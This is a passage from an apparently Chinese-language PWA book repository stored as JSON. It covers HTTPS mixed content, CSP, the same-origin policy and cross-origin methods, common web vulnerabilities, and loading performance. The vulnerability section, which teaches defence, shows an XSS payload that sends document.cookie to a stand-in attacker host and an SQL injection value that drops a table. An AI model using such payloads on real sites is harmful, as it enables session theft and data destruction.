脚本），同时仍允许请求不太危险的混合内容类型（如图片等多媒体资源）。现代浏览器遵循[混合内容规范](https://w3c.github.io/webappsec-mixed-content/)，定义了可选择性地阻止的内容和可阻止的内容类别。\n\n根据此规范，当前可选择性阻止的内容中仅包括图像、视频和音频资源以及预获取这些资源的链接等。随着时间的推移，此类别可能会缩小。可选择性阻止的内容以外的所有内容被视为可阻止的内容，将被浏览器阻止。\n\n值得注意的是，不同浏览器供应商的不同版本的浏览器处理混合内容的方式不尽相同。所以对于开发者来说，修复 HTTPS 站点中的混合内容十分重要。\n\n### 处理 HTTPS 站点中的混合内容\n\nHTTPS 站点中的混合内容数量不多时，我们可以根据浏览器的 Warning 或 Error 提示，手动修改源码即可。如果想批量处理不安全的混合内容，则可以借助 CSP（Content Security Policy）即内容安全策略，下面简单介绍它在这种场景的使用，下一节我们将详细了解相关内容。\n\n#### 使用 CSP 查找混合内容\n\n给网站设置响应头：\n```\nContent-Security-Policy-Report-Only: default-src https: 'unsafe-inline' 'unsafe-eval'; report-uri https://example.com/reportingEndpoint\n\n```\n这样用户访问站点时，浏览器都会向 `https://example.com/reportingEndpoint` 发送请求，告诉你哪些内容不规范。\n\n#### 自动升级不安全的请求\n\n可以使用 CSP 的 [upgrade-insecure-requests](https://www.w3.org/TR/upgrade-insecure-requests/) 配置项，浏览器在请求 http 资源时，会自动升级请求对应的 HTTPS 资源。\n\n如，配置请求头\n\n```http\nContent-Security-Policy: upgrade-insecure-requests\n```\n\n或，使用`meta`标签\n\n```html\n<meta http-equiv=\"Content-Security-Policy\" content=\"upgrade-insecure-requests\">\n```\n\n都能使浏览器将 `<img src=\"http://example.com/image.jpg\">` 的请求转化成 `https://example.com/image.jpg`。但注意，这时需要保证升级后的资源地址可用，不然就会请求失败。\n\n#### 阻止所有混合内容\n\n对于不支持 upgrade-insecure-requests 属性的浏览器，还可以通过 CSP 的 block-all-mixed-content 属性来屏蔽所有的混合内容，有两种使用方式：\n\n配置请求头\n\n```http\nContent-Security-Policy: block-all-mixed-content\n```\n\n或，使用`meta`标签\n\n```html\n<meta http-equiv=\"Content-Security-Policy\" content=\"block-all-mixed-content\">\n```\n\n这个属性将导致所有不安全的混合内容被浏览器阻止，很明显，它存在\"误杀\"的风险，慎重使用。\n\n### 验证 HTTPS\n\n借助 Chrome DevTools，我们可以方便地查看一个站点的 HTTPS 安全性，实现两个功能：\n\n- 验证当前站点的 HTTPS 安全状况\n- 查看连接和证书详情，找出具体的非 HTTPS 资源列表。\n\n打开 Chrome DevTools 的 Security 面板，在 Overview 下面，可以看到站点整体的安全情况，如证书是否合法，连接是否安全，站点资源是否是 HTTPS 等，如下图所示。\n\n![check-https](./img/https_check.png)\n\n可以点击 View certificate 查看站点的服务器证书信息。\n\n![check-https](./img/https_certi.png)\n\n不是 HTTPS 的站点会通过 `This page is not secure` 进行提示。如果一个 HTTPS 站点中包含了 HTTP 的资源，也就是我们提到的混合内容，站点仍会被标记为不安全。\n\n![check-https](./img/https_check_fail.png)\n\n我们可以点击 View request in Network Panel 来查看混合内容列表详情，作出对应的修改。\n\n![check-https](./img/network_panel.png)\n\n通过以上的步骤，我们就能很快发现站点中潜在的非 HTTPS 安全性问题，消除隐患。\n"
  },
  {
    "path": "chapter07/2-CSP.md",
    "content": "## 内容安全策略\n\nCSP（Content Security Policy）即内容安全策略，主要目标是减少、并有效报告 XSS 攻击，其实质就是让开发者定制一份白名单，告诉浏览器允许加载、执行的外部资源。即使攻击者能够发现可从中注入脚本的漏洞，由于脚本不在白名单之列，浏览器也不会执行该脚本，从而降低客户端遭受 XSS 攻击风险。\n\n默认配置下，CSP 甚至不允许执行内联代码 (`<script>` 块内容，内联事件，内联样式)，以及禁止执行`eval()`, `setTimeout` 和 `setInterval`。为什么要这么做呢？因为制定来源白名单依旧无法解决 XSS 攻击的最大威胁：内联脚本注入。浏览器无法区分合法内联脚本与恶意注入的脚本，所以通过默认禁止内联脚本来有效解决这个问题。事实上我们并不推荐使用内联脚本混合的开发方式，使用外部资源，浏览器更容易缓存，对开发者也容易阅读理解，并且有助于编译和压缩。当然，如果不得不需要内联脚本和样式，可以通过设置 `unsafe-inline`，来解除这一限制。\n\nCSP 提供了一系列的属性配置，从而实现精确地控制浏览器的资源加载行为。开发者只需要将特定的属性，组合成一条有效的安全策略字符串 policy，然后指定 Content-Security-Policy 头部即可使用，如：\n\n```http\nContent-Security-Policy: policy\n```\n\n[caniuse](http://caniuse.com/#search=CSP) 提供了目前浏览器对 CSP 的支持情况，对于不支持 CSP 的浏览器以及未提供 CSP 头部的站点，将默认为网页内容使用标准的浏览器同源策略。\n\n### 启用 CSP\n\n有两种方法配置并启用 CSP\n\n1.设置 HTTP 头的 Content-Security-Policy 字段（旧版 X-Content-Security-Policy）\n\n```http\nContent-Security-Policy: script-src 'self'; object-src 'none';style-src cdn.example.org third-party.org; child-src https://other.com\n```\n\n2.设置页面的 `<meta>` 标签\n\n```html\n<meta http-equiv=\"Content-Security-Policy\" content=\"script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https://other.com\">\n```\n\n这两种不同的方式制定了同一个 CSP 策略，该策略对资源的加载进行了一些限制，设置了 script-src: 'self'，只信任当前域名下的脚本，同时使用 object-src: 'none'，不允许加载任何插件资源（如object, embed, applet 等标签引入的 flash 等插件），再使用 style-src 属性限制样式文件只能来自 `cdn.example.org` 和 `third-party.org`，此外还用 child-src 限定 iframe 的来源必须是 `https://other.com`。\n\n除了上述例子使用的属性之外，CSP 提供了很多可配置的选项来针对不同资源的加载进行限制，常见的有，\n\n- child-src：限制 iframe 及 worker 线程的来源，替代已弃用的 frame-src\n- connect-src：限制 XHR、WebSockets 和 EventSource 连接的来源\n- font-src：指定字体文件的来源\n- img-src：限定图像来源\n- media-src：限定媒体文件（音频和视频）的来源\n- object-src：插件（比如 Flash）来源\n- report-uri：用于指定在违反策略时浏览器发送报告的地址。此指令不能用于 <meta> 标记。\n- script-src：限定脚本的来源\n- style-src：样式表\n- manifest-src：manifest 文件\n\n每个配置项的源列表是一个字符串，指定了一个或多个主机（使用域名或 IP 地址）、协议和端口号。站点地址和端口号都可以使用通配符前缀 `*` 来表明所有合法端口都是有效来源。我们可以举几个例子来说明：\n\n```\nhttp://*.example.com\n```\n\n匹配所有使用 http 协议加载 `example.com` 的子域名。\n\n```\nmail.example.com:443\n```\n\n匹配所有访问 `mail.example.com` 的 443 端口的源。\n\n```\nhttps://store.example.com\n```\n\n匹配 `store.example.com` 下所有使用 HTTPS 协议的资源。\n\n注意，如果端口号没有被指定，浏览器会使用指定协议的默认端口号。如果协议没有被指定，浏览器会使用访问该文档时的协议。除此之外，还有一些关键字的选项：\n\n- 关键字 'self'：当前域名，需要加引号\n- 关键字 'none'：禁止加载任何外部资源，需要加引号\n\n如果不为某条配置设置具体的值，则默认情况下，该配置在运行时认为你指定 `*` 作为有效来源（例如，你可以从任意位置加载字体，没有任何限制）。也可以设置 `default-src` 的值，来代替各个选项的默认值。例如，如果我们将 `default-src` 设为 `https://example.com`，并且没有指定 `font-src` 的值，那么站点将只允许加载来自 `https://example.com` 的字体。不过也有一些选项不使用 `default-src` 作为默认回退值，也就是说，不进行设置的话就会加载任何内容。比如：\n\n- base-uri\n- form-action\n- frame-ancestors\n- plugin-types\n- report-uri\n- sandbox\n\n这里对 CSP 的属性内容作了比较全面的介绍：[https://www.w3.org/TR/CSP/](https://www.w3.org/TR/CSP/)，值得一提的是，使用 CSP 时需要考虑到兼容性问题，兼容性的情况可参阅：[https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP#浏览器兼容性](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP#%E6%B5%8F%E8%A7%88%E5%99%A8%E5%85%BC%E5%AE%B9%E6%80%A7)。\n\n### 发送报告\n\n默认情况下，违背 CSP 策略的站点并不会发送报告。我们可以指定 `report-uri` 属性，并提供至少一个 URI 地址去递交报告：\n\n```http\nContent-Security-Policy: default-src 'self'; report-uri https://yourwebsite.com/csp/report\n```\n\n报告请求将以 POST 的形式发送，包含的 JSON 格式数据有以下字段：\n\n- document-uri：发生违规的文档的 URI。\n- referrer：违规发生处的文档引用（地址）。\n- blocked-uri：被 CSP 阻止的资源 URI。如果被阻止的 URI 来自不同的源而非文档 URI，那么被阻止的资源 URI 会被删减，仅保留协议，主机和端口号。\n- violated-directive：违反的策略名称。\n- original-policy：在 Content-Security-Policy HTTP 头部中指明的原始策略。\n\n值得注意的是，`report-uri` 不能在 meta 中设置，需要在请求头中指定才会生效。此外，如果我们只想对当前网站做一个测试，仅发送不符合 CSP 策略的报告，而不强制执行限制，可以设置 `Content-Security-Policy-Report-Only` 请求头代替 `Content-Security-Policy`，如下：\n\n```http\nContent-Security-Policy-Report-Only: default-src 'self'; ...; report-uri https://yourwebsite.com/csp/report;\n```"
  },
  {
    "path": "chapter07/3-policy.md",
    "content": "## 同源策略\n\n上一节介绍 CSP 时，我们提到了浏览器的同源策略，同源策略是 Web 安全的基础，它对从一个源加载的资源如何与来自另一个源的资源进行交互做出了限制。这是一个用于隔离潜在恶意文件的关键安全机制，每个源均与其他网络保持隔离，从而为开发者提供一个可进行构建和操作的安全沙盒。\n\n如果没有同源策略，Web 世界就变得非常不安全，拿浏览器中的 cookie 来说，当你登录 A 网站，同时打开 B 网站，B 网站能获取你 A 网站的 cookie，盗取你的身份凭证进行非法操作。\n\n同源策略只是一个规范，虽然并没有指定其具体的使用范围和实现方式，但各个浏览器厂商都针对同源策略做了自己的实现。\n\n### 同源的定义\n\n如果两个页面的协议（protocol），端口（port）和主机（host）都是相同的，则两个页面具有相同的源。\n\n例如，相对于\n\n```\nhttp://www.example.com/dir/page.html\n```\n\n同源情况如下\n\n| 地址 | 结果 |\n| :---:| :----: |\n| http://www.example.com/dir2/other.html | 同源 |\n| http://v2.www.example.com/dir/other.html | 不同源（主机不同） |\n| https://www.example.com/dir/other.html | 不同源（协议不同） |\n| http://www.example.com:81/dir/other.html | 不同源（端口不同）|\n\n### 限制范围\n\n同源策略限制了不同源之间的交互，主要分成三类：\n\n1. 通常允许跨域写操作。如链接、重定向和表单提交。\n2. 通常允许特定的跨域资源嵌入。如 `script`、`img` 标签等。\n3. 通常不允许跨域读操作。但常可以通过内嵌资源来巧妙的进行读取访问。\n\n不受同源策略限制，可以通过跨域资源嵌入的方式访问的资源常见的有：\n\n- `<script src=\"...\"></script>` 标签嵌入跨域脚本\n- `<link rel=\"stylesheet\" href=\"...\">` 标签嵌入CSS\n- `<img>`，`<video>`，`<audio>` 标签嵌入图片、视频、音频资源\n- `<object>`, `<embed>` 和 `<applet>` 标签嵌入插件\n- @font-face 引入的字体。一些浏览器允许跨域字体（ cross-origin fonts），一些需要同源字体（same-origin fonts）。\n- `<frame>` 和 `<iframe>` 载入的任何资源。站点可以使用X-Frame-Options消息头来阻止这种形式的跨域交互。\n\n非同源的网站，常见的主要有以下几种行为受到限制：\n\n1. 无法共享 Cookie, LocalStorage, IndexedDB\n2. 无法操作彼此的 DOM 元素\n3. 无法发送 Ajax 请求\n\n### 跨域访问\n\n同源策略做了很严格的限制，但在实际的场景中，又确实有很多地方需要突破同源策略的限制，也就是我们常说的跨域。实现跨域通信的解决方案有多种，我们可以简单的介绍几种方式。\n\n#### 更改源\n\n页面可以更改自己的源，但会受到一些限制。比如，可以使用 [document.domain](https://developer.mozilla.org/zh-CN/docs/Web/API/Document/domain) 来设置子域的 `domain` 值，允许其安全访问其父域。例如：\n\n可以在 `http://child.company.com/dir/a.html`中执行：\n\n```javascript\ndocument.domain = 'company.com'\n```\n\n页面将与 `http://company.com/dir/b.html` 处于相同的域。但是，试图给 `company.com` 设置 `document.domain` 为 `anotherCompany.com` 是不可行的，因为它不是 `company.com` 的父域。值得注意的是，浏览器的端口号是单独保存的，在给 `document.domain` 赋值时，如果不指明端口号，默认会以 null 值覆盖掉原来的端口号。因此 `company.com:8080` 不能仅通过设置 document.domain = \"company.com\" 来与 `company.com` 通信。必须在他们双方中都进行赋值，以确保端口号都为 null。\n\n所以这种方法是有很大限制条件的，`document.domain` 这个值只能修改为这个页面的当前域或者当前域的超级域。所以，这个方法只能解决同一超级域下的页面跨域问题。\n\n#### CORS\n\nCORS（Cross-Origin Resource Sharing）是 W3C 提出的一个用于服务端控制数据跨域传输的一个机制。它的原理是给 HTTP 头增加特定的值，让服务端来定义允许来自哪些源的请求。这是一种最为常见的处理跨域 Ajax 请求的方式。\n\n举例来说，当我们试图在 `example.com` 的页面向 `anotherexample.com` 的接口发起 Ajax 请求时：\n\n```javascript\n  let xhr = new XMLHttpRequest()\n  let url = 'http://anotherexample.com/some/api/'\n\n  xhr.open('GET', url, true)\n  xhr.onreadystatechange = handler\n  xhr.send()\n```\n\n在 `anotherexample.com` 的服务端没有进行任何设置的情况下，这个请求会因为跨域而失败。CORS 允许我们在请求头中设置 `Access-Control-Allow-Origin`，来控制允许哪些源的请求。我们可以用如下方式，设置允许所有的源。\n\n```http\nAccess-Control-Allow-Origin: *\n```\n\n当然也可以直接设置成允许的域的名称，或者配合 Origin 请求头使用。\n\n#### JSONP\n\nJSONP 是 JSON with Padding 的简称，它的本质是利用内嵌的 `<script>` 资源不受同源政策影响，将接口需要返回的数据用指定名称的函数包裹起来进行传递，从而实现跨域接口请求。其基本原理可以简单描述如下：\n\n客户端通过 script 标签发起跨域请求\n\n```html\n<script src=\"http://www.anotherexample.com/ajax?callback=myFunction\"></script>\n```\n\n服务端接收 callback 参数，将数据用 callback 名称包裹返回，形如：\n\n```javascript\nmyFunction({ foo: 'bar' })\n```\n\n客户端定义了 myFunction 函数，就会执行并拿到数据了：\n\n```javascript\nlet mycallback = function (data){\n  alert(data.foo)\n}\n```\n\n实际使用的时候，不需要我们来实现这些繁琐的步骤，常见的第三方工具库如 JQuery，axios 等，都进行了封装，只需按照指定格式调用即可。需要注意，这种跨域方式需要后端的配合，因为后端的接口需要根据约定的参数获取回调函数名，然后跟返回数据进行拼接，最后进行响应。\n\n#### window.postMessage\n\npostMessage 是 HTML5 的一个接口，它主要用于跨域文档（如不同源的 iframe）间的通讯，它可以把纯文本消息从一个域发送到另外一个域，不受同源策略的限制。如，在 `example.com` 页面下试图向 iframe 中的 `otherexample.com` 发送消息：\n\n```javascript\nlet targetWindow = document.getElementsByTagName('iframe')[0]\ntargetWindow.postMessage('Hello World!', 'http://otherexample.com')\n```\n\n在 otherexample.com 中监听 message 事件，进行处理：\n\n```javascript\nwindow.addEventListener('message', e => {\n  let message = e.data\n})\n```\n\n这种方式的适用场景有限，不能解决所有的跨域问题，且需要考虑浏览器的兼容性后再进行使用。\n\n浏览器的同源策略是保证 Web 安全的重要法则，后续章节提到的客户端脚本攻击都与这一法则紧密相关，因此理解同源策略对我们构建安全可靠的 PWA 应用意义重大。\n"
  },
  {
    "path": "chapter07/4-vulnerability.md",
    "content": "## 常见的安全漏洞\n\n在构建 PWA 站点的过程中，我们会面临很多的安全风险和漏洞，如 `XSS`，`CSRF`，`SQL 注入漏洞`，`ClickJacking`，`文件上传漏洞` 等等。在本小节中，我们列举几种客户端常见的安全漏洞，了解一下其原理和防范方法。\n\n### 跨站脚本（XSS）\n\nXSS (Cross Site Scripting) 即跨站脚本攻击。为了和层叠样式表（Cascading Style Sheets，CSS）区分开，跨站脚本在安全领域叫做 XSS。攻击者往 Web 页面里注入恶意代码，当用户浏览这些网页时，就会执行其中的恶意代码，可对用户进行盗取 Cookie 信息、会话劫持、改变网页内容、恶意跳转等各种攻击。由于 XSS 漏洞易于出现且利用成本低，所以曾被 OWASP （一个关注 Web 应用程序安全的非营利性组织）列为当前的头号 Web 安全威胁。\n\n我们举一个简单的例子说明它的原理，在 `a.com` 的搜索输入框中输入如下内容，并提交请求：\n\n```html\n<script>location.href=http://www.bad.com/?cookie=document.cookie</script>\n```\n\n如果前端没有进行过滤，提交搜索框表单后，浏览器地址可能变为：\n\n```\nhttp://www.a.com/?query=<script>location.href=http://www.bad.com/?cookie=document.cookie</script>\n```\n\n此时，script 标签中的代码被执行了！用户的 Cookie 信息已经被发送到攻击者的服务器，攻击者便能利用收集的 Cookie 信息来伪造用户身份，进行多种恶意非法操作。这个例子是 XSS 漏洞的一种类型：反射性 XSS。根据效果不不同，XSS 攻击类型一般分为三种：\n\n- 反射型 XSS\n\n反射型 XSS 只是简单的把用户输入的数据“反射”给浏览器，XSS 脚本出现在 URL 请求参数里，也就是说需要诱使用户点击一个恶意链接，才能攻击成功。反射型 XSS 也叫作非持久型 XSS。\n\n- 储存型 XSS\n\n存储型 XSS 也被称为持久型 XSS，当攻击者输入一段恶意脚本后，被服务端接受保存，当用户访问这个页面时，恶意脚本就会被执行，从而造成漏洞。\n\n- DOM Based XSS\n\n基于 DOM 的 XSS，通过对具体 DOM 代码进行分析，根据实际情况构造 DOM 节点进行 XSS 跨站脚本攻击，HTML 页面中使用 document.write 和 innerHTML 等方法，容易造成 DOM 节点中存在该类型的 XSS 漏洞。\n\n#### 防范 XSS\n\n对于 XSS 攻击，我们可以做如下防范：\n\n- 输入过滤\n\n永远不要相信用户的输入，对用户输入的数据做一定的过滤。如输入的数据是否符合预期的格式，比如日期格式，Email 格式，电话号码格式等等。同时，后台服务器需要在接收到用户输入的数据后，对特殊危险字符如 `<`，`>` 等进行过滤或者转义处理，然后再存储到数据库中。\n\n- 输出编码\n\n服务器端输出到浏览器的数据，可以使用系统的安全函数来进行编码或转义来防范 XSS 攻击。输出 HTML 属性时可以使用 HTML 转义编码（HTMLEncode）进行处理，将 `&`，`<`，`>`，`\"`，`'` 等进行转义之后再输出到页面代码中。\n\n- HttpOnly Cookie\n\n这是预防 XSS 攻击窃取用户 Cookie 最有效的防御手段。Web 应用程序在设置 Cookie 时，将其属性设为 HttpOnly，客户端脚本将无法获取 Cookie 的值，这样能有效就避免该网页的 Cookie 被客户端恶意 JavaScript 窃取，保护用户 Cookie 信息安全。\n\n\n### 跨站请求伪造（CSRF）\n\nCSRF (Cross Site Request Forgery)，即跨站请求伪造，是一种极易被开发者忽略的安全漏洞。简单的理解是，攻击者盗用了用户的身份，以用户的名义发送恶意请求。CSRF 能够做的事情包括：以你名义发送邮件，发消息，盗取你的账号，甚至于购买商品，虚拟货币转账等，造成个人隐私泄露，财产损失。\n\n举个例子，受害者用户登录网站 A，输入个人信息，在本地保存服务器生成的 Cookie。攻击者构建一条恶意链接，例如对受害者在网站 A 的信息及状态进行操作，典型的例子就是转账。受害者打开了攻击者构建的网页 B，浏览器发出该恶意连接的请求，浏览器发起会话的过程中携带了本地保存的 Cookie，A 网站收到 Cookie，以为是受害者发出的操作，导致受害者的身份被盗用，完成攻击者恶意的目的。如下图所示：\n\n![CSRF](./img/csrf.png)\n\n#### 防范 CSRF\n\n对于 CSRF 攻击，我们可以做如下防范：\n\n- 验证码\n\n这是一种比较简单有效的方法，它强制用户必须与应用进行交互才能完成最终的请求。特别是账户交易这种核心步骤，强制用户输入验证码，才能完成转账。在通常情况下，验证码够很好地遏制 CSRF 攻击。但增加验证码降低了用户的体验，网站不能给所有的操作都加上验证码。所以只能将验证码作为一种辅助手段，在关键业务点设置验证码。\n\n- Referer Check\n\nHTTP Referer 是 header 的一部分，当浏览器向 Web 服务器发送请求时，一般会带上 referer 信息告诉服务器是从哪个页面链接过来的，服务器以此可以获得一些信息用于处理。可以通过检查请求的来源来防御 CSRF 攻击。正常请求的 referer 具有一定规律，如在提交表单的 referer 必定是在该页面发起的请求。所以通过检查 http 包头 referer 的值是不是这个页面，来判断是不是 CSRF 攻击。\n\n- Anti CSRF Token\n\n目前比较完善的解决方案是加入 Anti CSRF Token，即发送请求时在 HTTP 请求中加入一个随机产生的 token，保证其不可预测性，让攻击者无法猜测重要请求所需的参数。实际应用中，我们可以把 token 隐藏在表单中，服务器验证提交的 token 是否与 session 或 Cookie 中的值一致，来判断该请求是否合法。如果不合法，直接拒绝该请求。\n\n归根到底，防范这种类型的威胁，需要我们在构建 PWA 应用时始终保持安全意识，对于任何敏感操作都要进行身份的确认，涉及到用户敏感信息的 Cookie 数据，需要进行生命周期和读取权限的严格限制，有关更多 CSRF 的防范方法，可以查看 OWASP 总结的文档：https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet 。\n\n\n### SQL 注入漏洞\n\n注入攻击是 Web 安全领域的一种常见威胁，其本质就是把用户输入的数据当做代码来执行。前面提到的 XSS 其实也是一种针对 HTML 的注入，SQL 注入就是把非法的 SQL 命令通过 Web 表单等方式提交，在服务端后台执行，实现篡改数据库等恶意行为。\n\n我们可以用一个简单的例子说明这种安全漏洞。现在有一条根据用户 uid 查询用户信息的 SQL 语句：\n\n```sql\nSELECT * FROM UserTable WHERE ID = uid;\n```\n\n其中，变量 uid 的值来自用户提交的请求，在正常情况下，用户输入 123，SQL 语句会执行：\n\n```sql\nSELECT * FROM UserTable WHERE ID = 123;\n```\n\n查询了用户表中 ID 为 123 的用户的所有字段信息。但假如前后端整个系统中，没有任何的安全处理，有攻击者恶意输入了如下语句：\n\n```sql\n123; drop table UserTable;\n```\n\n那么 SQL 语句在执行时的结果就是：\n\n```sql\nSELECT * FROM UserTable WHERE ID = 123; drop table UserTable;\n```\n\n危险出现了！原来正常的查询语句，因为接收了非法的用户输入，变成了极其危险的删除表的操作，数据库安全受到了极大的威胁。\n\n从上面简单示意我们不难想象，SQL 注入的危害极大，不仅会引发数据库中用户隐私信息的泄露，还能篡改数据库的数据，甚至攻击远程数据库服务器，安装后门，造成不可计量的损失。那么我们该如何防御这种安全威胁呢？\n\n在实际开发中，SQL 注入的防御并不是几句话能说清楚的事情，但我们可以从以下几个方面层层改进，让注入的风险降到最低。\n\n1.永远不要信赖用户的输入。对输入的数据进行校验，过滤可能引发注入漏洞的字符，并检查输入的数据类型，如 id 必须为 Interger，输入邮箱严格按照邮箱的格式，日期也必须有特定格式等等，最大程度对抗恶意攻击。\n\n2.使用预编译的参数化查询语句，不要拼接 SQL 语句。也可以使用安全的存储过程，先将 SQL 语句定义在数据库中。\n\n3.严格管理数据库权限，不要使用管理员权限连接数据库。遵循最小权限原则，对不同应用的数据库连接权限进行严格控制。\n\n4.重要信息加密存储。\n\nSQL 注入的防范，需要记住永远将数据和代码分离的原则。只要我们设计并实施了合理的安全防御方案，这种危险完全可以避免。\n\n上文只是简单列举了几种常见的攻击技术，实际情况中我们的应用受到的威胁远不止这些。总的来说，Web 安全是一个范围宽广又需要我们持续深入研究的重要话题，我们在构建 PWA 应用时，也要时刻从威胁防范的角度进行考虑，保障应用的稳定性和安全性。"
  },
  {
    "path": "chapter07.md",
    "content": "# 安全\n\n上一章，我们介绍了 PWA 中与用户留存相关的内容。在构建 PWA 应用时，如何保证用户的信息安全，也是一个十分重要的话题。Web 应用程序的使用范围非常广泛，其安全问题也日益突显，代码中的细小漏洞随时可能被攻击者利用，导致用户的隐私信息泄露、财产损失。本章节将从以下几个角度入手，帮助您构建更加安全的 PWA 应用。\n\n- **使用 HTTPS 保护站点安全**\n- **同源策略**\n- **CSP(内容安全策略)**\n- **典型的安全漏洞**\n\n"
  },
  {
    "path": "chapter08/1-loading-performance.md",
    "content": "# 加载性能\n\nWeb 页面由 HTML、CSS、JavaScript 和其他多媒体资源组成。页面加载时，必须从服务器获取这些资源。在这一节中，我们会围绕这些资源和网络请求，讨论如何优化页面加载性能。\n\n## 减小资源体积\n\n为了让页面更快加载，最容易想到的是减小资源体积。页面中最常见的资源有 HTML、CSS、JavaScript 等文本资源，以及字体、图像、音视频等多媒体资源。\n\n### 压缩文本内容\n\n压缩文本资源，就是在不改变资源有效性的情况下，通过删除多余空格、变量名替换、表达式改写等操作，来尽可能减小文本资源的体积。\n\n压缩虽然简单，但十分有效，这也是最广泛的优化资源体积的操作。许多工具可以帮助我们完成文本压缩。目前主流的资源打包工具 webpack，生态较为繁荣，通过 loader 和 plugin 机制集成了多种常用的资源处理库。如 `TerserPlugin` 可以用于压缩 JavaScript，`PostCSS` 可以对 CSS 进行压缩，以及完成前缀自动补全工作。关于 webpack 的更多介绍，详见下文 [使用 webpack 优化资源加载](#使用-webpack-优化资源加载)。\n\n除了压缩单个文件外，在服务器上配置 Gzip 也十分重要。Gzip 对文本资源的压缩效果非常明显，通常可以将体积再压缩至原本的 30% 左右，但 Gzip 对已经单独压缩的图像等非文本资源来说，效果并不好。Apache、Nginx 等服务器都提供了 Gzip 功能，可以分别在配置文件 `.htaccess`、`nginx.conf` 中进行相应的配置。开启 Gzip 后，资源文件的 HTTP 响应头部中， `Content-Encoding` 也会变为 `gzip`。\n\n### 优化 JavaScript 第三方库引入\n\n在现代 Web 单页应用中，JavaScript 往往成为了最重要的文本资源。除了用于页面渲染的 JavaScript 框架外，还有许多工具库被广泛引用，如 lodash、underscore，甚至 jquery 等。\n\n不计后果地引入第三方库，会迅速增大 JavaScript 资源的体积。如果我们只需要使用工具库中少数几个简单函数，可以考虑使用原生 JavaScript 代替。\n\n实际上，由于现代前端框架大幅普及，以及浏览器兼容性问题日益减少，我们对 jQuery 的依赖已经不像过去那样强了。在《You Don't Need jQuery》（[https://github.com/nefe/You-Dont-Need-jQuery](https://github.com/nefe/You-Dont-Need-jQuery)）一文中，就详细地描述了如何使用原生 JavaScript 代替 jQuery。\n\n同时，随着 ES6 及后续标准的持续改进，原生 JavaScript 能力被大大增强了。我们可以从《You don't (may not) need Lodash/Underscore》（[https://github.com/you-dont-need/You-Dont-Need-Lodash-Underscore](https://github.com/you-dont-need/You-Dont-Need-Lodash-Underscore)）一文中，了解到如何使用现代 JavaScript 实现常用的工具函数。\n\n不过，在实际项目中，lodash 等工具库往往十分有用。lodash 不仅包含了许多常用的函数，而且每个函数都有相当丰富的单元测试，代码质量很高。需要注意的是，我们在引入 lodash 时，应该仅引入所需的函数，而不是将整个库全部引入进来。类似的，如 moment 等一些较为庞大的第三方库，也需要在引入时进行体积优化。具体的实践详见下文 [使用 webpack 优化资源加载](#使用-webpack-优化资源加载)。\n\n## 对资源进行缓存\n\n除了对资源文本大小进行优化外，还可以从缓存的角度进行考虑。缓存无处不在，往往能大幅加快响应速度，从而在优化页面加载性能的工作中有举足轻重的作用。在上文中已经介绍过 Cache Storage 和 IndexedDB 等缓存技术，这一节主要关注 HTTP 缓存。\n\n### HTTP 缓存\n\n现代浏览器都实现了 HTTP 缓存机制。浏览器在初次获取资源后，会根据 HTTP 响应头部的 `Cache-Control` 和 `ETag` 字段，来决定该资源的缓存策略。\n\n`Cache-Control` 有多个可能的字段值：\n\n- `no-store`：表明任何缓存不得存储该资源，每次请求都会从服务端返回完整的内容。\n- `no-cache`：表明必须向服务端发一次请求，该请求头部带有 `If-None-Match` 等资源校验信息。服务端将会验证该资源是否被修改过，详细见下文 `ETag` 的描述。\n- `public`：表明该资源可以被 CDN 或代理等中间人缓存。\n- `private`：与 `public` 相反，表明任何中间人不得缓存该资源，资源可能与隐私信息相关。\n- `max-age`：指定了资源缓存的过期时间（秒），仅当缓存过期后才会向服务端发送请求。\n\n`ETag` 是由服务端决定的一个资源校验字段。如果浏览器缓存已经过期，那么会向服务端询问该资源是否被修改过。服务端会将 HTTP 请求头部的 `If-None-Match` 与 `ETag` 进行比对。如果相等，则表明资源并没有被修改过，服务端返回 `304 Not Modified`，浏览器可以直接从缓存获取资源，并刷新缓存过期时间。否则就需要返回该资源的完整内容。\n\n为了达到最佳缓存效果，常用的做法是：\n\n- 对于 HTML 文件，设置 `Cache-Control: no-cache`。\n- 对于 CSS 和 JavaScript 等静态资源，上线构建的时候在文件名中插入一段仅与文件内容相关的哈希值，并使用 `Cache-Control: max-age=31536000` 进行长缓存。\n\n这样的效果是，对于绝大多数静态资源的请求都可以使用缓存来响应，并且仅在文件内容变更时刷新缓存。具体的实践详见下文 [使用 webpack 优化资源加载](#使用-webpack-优化资源加载)。\n\n## 调整资源优先级\n\n页面加载时，浏览器会对各种类型的资源分配默认优先级。一般来说，CSS 会被分配最高优先级，JavaScript 会被分配高优先级，而图像则被分配了低优先级，等等。虽然并不能真正修改这些优先级，但我们仍能通过预加载、懒加载等多种方式，调整资源加载的行为，优化网页加载性能。\n\n### 预加载\n\n `<link rel=\"preload\">` 是一种通用的预加载方式，支持几乎所有常用资源类型。我们可以在 `<head>` 中，通过 `<link rel=\"preload\">` 来提前声明当前页面所需的资源，以便浏览器能预加载这些资源。一个实际的预加载例子如下：\n\n```html\n<!DOCTYPE HTML>\n<html>\n<head>\n  <!-- ... -->\n  <link rel=\"preload\" as=\"style\" href=\"/dist/index.css\">\n  <link rel=\"preload\" as=\"script\" href=\"/dist/vendor.js\">\n  <link rel=\"preload\" as=\"script\" href=\"/dist/app.js\">\n  <link rel=\"preload\" as=\"font\" type=\"font/woff2\" crossorigin=\"anonymous\" href=\"/dist/fontawesome.woff2\">\n  <link rel=\"preload\" as=\"image\" href=\"/dist/banner-narrow.png\" media=\"(max-width: 960px)\">\n  <link rel=\"preload\" as=\"image\" href=\"/dist/banner-wide.png\" media=\"(min-width: 961px)\">\n  <link rel=\"stylesheet\" href=\"/dist/index.css\">\n  <!-- ... -->\n</head>\n<body>\n  <!-- ... -->\n  <script src=\"/dist/vendor.js\"></script>\n  <script src=\"/dist/app.js\"></script>\n</body>\n</html>\n```\n\n上述例子中，预加载了 CSS、JavaScript、图像和字体文件。 `as` 属性表明了资源的类型，从而浏览器才会为后续的 `<link rel=\"stylesheet\">` 、`<script>` 和 CSS 文件中的 `url()` 声明使用预加载的资源，而不是再发起一次请求。另外，还可以通过 `media` 属性进行媒体查询，根据响应式的情况选择性地预加载资源。\n\n### 预连接与 DNS 预解析\n\n如果不希望对资源进行预加载，那么也可以考虑使用 `<link rel=\"preconnect\">`，提前与资源建立 socket 连接。预连接会提前完成 